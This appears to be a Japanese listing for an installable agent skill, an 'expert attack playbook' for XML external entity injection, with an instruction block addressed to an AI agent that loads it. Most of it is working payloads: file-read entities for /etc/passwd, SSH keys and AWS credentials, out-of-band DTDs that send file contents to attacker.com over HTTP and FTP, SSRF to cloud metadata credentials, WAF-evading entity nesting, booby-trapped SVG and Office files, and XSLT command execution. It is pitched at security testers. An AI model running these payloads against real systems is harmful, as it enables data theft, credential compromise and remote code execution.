xxe-xml-external-entity について
セキュリティテスターやエージェント向けの XXE テストスキルです。XML 入力やアップロードなどを調べ、帯域外検出・流出や XXE から SSRF へのテストも扱います。
主な機能
- 01多様な XML 入力の調査
- 02帯域外 XXE の検出と流出
- 03ファイル読み取りとエラー漏えいの検証
- 04SVG と Office ファイルのテスト
- 05XXE から SSRF への連鎖テスト
- 06ローカル DTD とフィルター回避
活用シーン
- 01SOAP や REST の XML パーサーの確認
- 02SVG、DOCX、XLSX のアップロード処理のテスト
- 03応答にデータが出ない場合のブラインド XXE 検証
- 04内部 HTTP エンドポイントへの XXE 経由のアクセス評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xxe-xml-external-entityインストール後、Claude Code で/xxe-xml-external-entityを入力して読み込まれたか確認します。
同梱ファイルSCENARIOS.md
詳細
スキル:XML 外部エンティティインジェクション(XXE)— エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION: エキスパート向けの XXE テクニックです。あらゆるインジェクションコンテキスト(SOAP、REST JSON→XML パーサー、Office ファイル、SVG)、OOB でのデータ窃取(直接読み取りに失敗した場合に重要)、ブラインド XXE の検出、XXE から SSRF への連鎖を扱います。ベースモデルは、OOB や非 XML コンテキストの XXE を見落としがちです。実際の CVE チェーン、Office docx XXE の手順、PHP expect:// RCE、Solr XXE+RCE については、関連する SCENARIOS.md を読み込んでください。
0. 関連ルーティング
こちらも読み込んでください:
- SVG、OOXML、インポート、またはプレビューのパイプライン経由で XXE を実行できる場合は、アップロードされた安全でないファイル
拡張シナリオ
次の内容が必要な場合は、SCENARIOS.md も読み込んでください:
- Apache Solr の XXE + RCE チェーン(CVE-2017-12629)— XXE で設定を読み取り、その後 VelocityResponseWriter で RCE を実行
- Office docx XXE の手順 — unzip →
word/document.xmlまたは[Content_Types].xmlに DOCTYPE を挿入 → 再パッケージ → アップロード - DOCTYPE ベースのブラインド SSRF —
PUBLIC外部 DTD 参照により、エンティティの反映なしで HTTP コールバックを発生させる - XXE 経由の PHP
expect://プロトコル — expect 拡張機能がインストールされている場合に直接コマンドを実行 - エラーメッセージ経由のブラインド XXE — ファイルパスエラーを意図的に発生させ、例外テキストに内容を漏えいさせる
- SOAP Web サービスの XXE — SOAP Envelope/Body 要素にエンティティを挿入
1. クラシック XXE ペイロード
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
応答に /etc/passwd が反映されれば、ファイル読み取りが確認できています。
2. 攻撃対象面の調査
直接 XML 入力
- SOAP エンドポイント(
text/xml、application/soap+xml) application/xmlを受け入れる REST API- ファイルアップロード:
.xlsx、.docx、.pptx(Office Open XML) - SVG アップロード(SVG は XML です)
- RSS/Atom フィードパーサー
- XML 設定のインポート機能を持つ Web サービス
わかりにくい XML 処理
あらゆる JSON POST の Content-Type ヘッダーを次のように変更します:
Content-Type: application/xml
その後、本文を XML に書き換えます。多くのバックエンドはデュアル形式パーサーを使用するか、形式を自動判定します。
PDF ジェネレーター
一部の HTML→PDF ツール(wkhtmltopdf、PrinceXML)は、埋め込み URL 経由で SSRF を実行しますが、HTML に含まれる SVG/XML 内の外部エンティティも解析します。
3. OOB(帯域外)XXE — 重要
エンティティの直接反映が失敗する場合(サーバーは解析するが、エンティティの内容を出力しない場合)に使用します:
手順 1:ブラインド検出
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>
コラボレーターへの DNS/HTTP アクセスがあれば、ファイルの内容が返されなくても XXE が確認できます。
手順 2:攻撃者がホストする DTD 経由の OOB ファイル窃取
攻撃者のサーバーで、次の場所に悪意のある DTD をホストします:http://attacker.com/evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
ターゲットに送信するペイロード:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfiltrate;</root>
ファイルの内容は、攻撃者の HTTP サーバーのリクエストログに表示されます。
手順 3:エラーベースの OOB(HTTP がブロックされている場合の代替手段)
意図的にエラーを発生させ、エラーメッセージにデータを漏えいさせます:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;
4. XXE のファイル読み取り対象
Linux:
/etc/passwd
/etc/shadow (requires root)
/etc/hosts
/proc/self/environ ← environment variables (DB creds, API keys)
/proc/self/cmdline ← process command line
/var/log/apache2/access.log ← may contain passwords in URLs
/home/USER/.ssh/id_rsa ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa
5. SVG XXE(ファイルアップロードのコンテキスト)
SVG のアップロードが許可され、配信または処理される場合:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
<text font-size="16">&xxe;</text>
</svg>
.svg としてアップロード → GET /uploads/file.svg → 応答にファイルの内容が含まれます。
6. Office ファイルの XXE(docx/xlsx/pptx)
Office ファイルは XML を含む ZIP アーカイブです。[Content_Types].xml または word/document.xml に挿入します:
# Step 1: extract
unzip original.docx -d extracted/
# Step 2: edit word/document.xml — add malicious DTD
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then use &xxe; inside document text
# Step 3: repackage
cd extracted && zip -r ../malicious.docx .
7. SOAP エンドポイントの XXE
SOAP リクエストは定義上 XML を解析します。外部エンティティを SOAP エンベロープに挿入します:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>
8. XXE → SSRF チェーン
XXE の外部エンティティは、内部 HTTP エンドポイントを指すことができます(SSRF と同じです):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
これにより、XXE によるファイル読み取りと SSRF を 1 つのペイロードに組み合わせられます。
9. XInclude 攻撃
サーバー側で XInclude(別のソースから XML をインポートする処理)が行われるものの、DOCTYPE を制御できない場合:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
対応環境:Apache Cocoon、Xerces-J、XInclude のサポートを有効にした libxml2。
10. XXE のプロトコルハンドラー
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
11. 防御の回避
パーサーが DOCTYPE をブロックする場合
XInclude を試してください(DOCTYPE は不要です。§9 を参照)。
特定の XML スキーマのみを許可する場合
スキーマ検証が行われる場合:スキーマ検証の後、エンティティ処理の前にコメントまたは CDATA を挿入します。
レスポンスのエンコーディングの問題(レスポンス内のバイナリ)
base64 には PHP フィルターを使用します。
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
OOB に対するネットワーク制限
SYSTEM "file://HASH.attacker.com" を使用して DNS のみで OOB を行います。HTTP は不要で、DNS ルックアップによってデータが漏えいします。
12. 迅速な検出チェックリスト
□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails
13. ローカル DTD インジェクション(ブラインド XXE の増幅)
外部エンティティがブロックされていても、サーバー上にローカル DTD ファイルが存在する場合:
手法
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
よく使われるローカル DTD のパス
Linux
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
/usr/share/nmap/nmap.dtd # Nmap
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
Windows
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
JAR ファイル内(Java アプリケーション)
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
これが機能する理由
- 外部接続はブロックされています(ファイアウォール/WAF/送信トラフィックフィルター)
- ただし、ローカルファイルへの file:// は通常許可されています
- ローカル DTD は信頼されているため、エンティティの上書きによって攻撃者が制御する定義を注入できます
- エラーメッセージ、または file:// を介したブラインド抽出は引き続き機能します
14. 追加の OOB データ抽出チャネル
FTP ベースのデータ抽出(1 行ずつ)
FTP プロトコルはデータを 1 行ずつ送信するため、HTTP ベースの OOB が改行で切り詰められる場合、複数行のファイルを抽出するのに便利です。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;
ポート 2121 で不正な FTP サーバー(例:xxeserv またはカスタム Python)を実行します。ファイルの各行は個別の RETR または CWD コマンドとして届きます。
HTTP パラメーターによるデータ抽出
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;
base64 エンコーディングを使用すると、HTTP URL 内の改行や特殊文字の問題を回避できます。攻撃者のサーバーで d= パラメーターをデコードします。
15. DTD のネストに関するテクニック — パラメーターエンティティの連鎖
パラメーターエンティティ内のパラメーターエンティティ
エンティティ値内の直接的なエンティティ参照をブロックするパーサーを回避するために使用します。
<!DOCTYPE foo [
<!ENTITY % a "% b;">
<!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
%a;
]>
パーサーは %a; → %b; の順に展開し、外部 DTD を取得します。一部の WAF は、エンティティ定義の最初の階層しか検査しません。
フィルターを回避するための 3 重ネスト
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;
ターゲットに送信するペイロードが参照するのは stage1.dtd のみです。実際のファイル読み取りは DTD を 2 回取得した先で行われるため、浅い WAF 検査を回避できます。
16. 一般的ではない形式での XXE
| 形式 | XML の場所 | インジェクションポイント |
|---|---|---|
| SOAP エンベロープ | 本文全体が XML | <soap:Envelope> の前に DOCTYPE を追加 |
| SVG 画像 | SVG は XML | SVG ヘッダーに <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> を追加 |
| OOXML (.docx) | word/document.xml、[Content_Types].xml | 任意の XML メンバーに DOCTYPE とエンティティを注入 |
| OOXML (.xlsx) | xl/sharedStrings.xml、xl/worksheets/sheet1.xml | セル値にエンティティ参照を追加 |
| RSS/Atom フィード | フィード本文が XML | ユーザーコンテンツが含まれる場合、フィード項目に注入 |
| SAML アサーション | SAML XML トークン | SAMLResponse パラメーター内の DOCTYPE インジェクション(base64 デコードした XML) |
| XMPP | プロトコルメッセージは XML スタンザ | メッセージ本文または JID フィールドにエンティティを追加 |
| GPX ファイル | GPS トラックデータが XML | GPX を受け入れるファイルアップロードエンドポイント経由 |
| XHTML | 厳密な XHTML は有効な XML | XHTML ドキュメントに DOCTYPE を注入 |
SAML XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
base64 に再エンコードし、SAMLResponse パラメーターとして送信します。
17. ファイルアップロード経由の XXE
SVG のアップロード
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="14">&xxe;</text>
</svg>
アバター/画像としてアップロードし、アップロードされた SVG を表示すると、ファイルの内容がテキストとしてレンダリングされます。
XLSX(Excel)のアップロード
# 1. Create minimal .xlsx, unzip it
unzip report.xlsx -d xlsx_tmp/
# 2. Inject into xl/sharedStrings.xml
# Add after XML declaration:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Replace a <t> element content with &xxe;
# 3. Repackage
cd xlsx_tmp && zip -r ../malicious.xlsx .
または、[Content_Types].xml(ほとんどの OOXML プロセッサーが最初に解析します)に注入します。
DOCX のアップロード
# Target: word/document.xml
# Same approach: unzip → inject DOCTYPE + entity → repackage
# Alternative: inject into customXml/item1.xml if custom XML parts exist
処理パイプラインへの攻撃
アップロードしたファイルが直接レンダリングされなくても、サーバー側のパーサー(Apache POI、python-docx、OpenXML SDK)がインポート時にエンティティを処理し、OOB データ抽出を引き起こす可能性があります。
18. エラーベースの XXE
ファイルの内容を含むエラーメッセージを生成するよう XML パーサーに強制します。
方法 1:存在しないファイルへの参照
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
パーサーは file:///nonexistent/<hostname_content> を開こうとします。エラーメッセージにはホスト名の値が含まれます。
方法 2:XML スキーマ検証エラー
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % err SYSTEM 'jar:file:///nonexistent!/%file;'>">
%eval;
%err;
]>
jar: プロトコルハンドラーは、展開されたエンティティ値を含む詳細なエラーメッセージを生成します。
手法 3:整数オーバーフロー/型エラー
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'file:///%file;'>">
%int;
%trick;
パーサーが、対象ファイルの内容を含むファイルパスを開こうとし、エラーメッセージで内容が明らかになります。
19. XXE と XSLT インジェクションの関係
XSLT プロセッサーは XML を解析し、XXE と連鎖させることができます。
XSLT によるファイル読み取り
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
XSLT による RCE(プロセッサーに依存)
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
</xsl:template>
</xsl:stylesheet>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
XXE → XSLT の連鎖
対象がスタイルシート参照(<?xml-stylesheet?>)を含む XML 入力を受け付ける場合は、外部エンティティと悪意のある XSLT の両方を注入し、ファイル読み取りから RCE へと段階を進めます。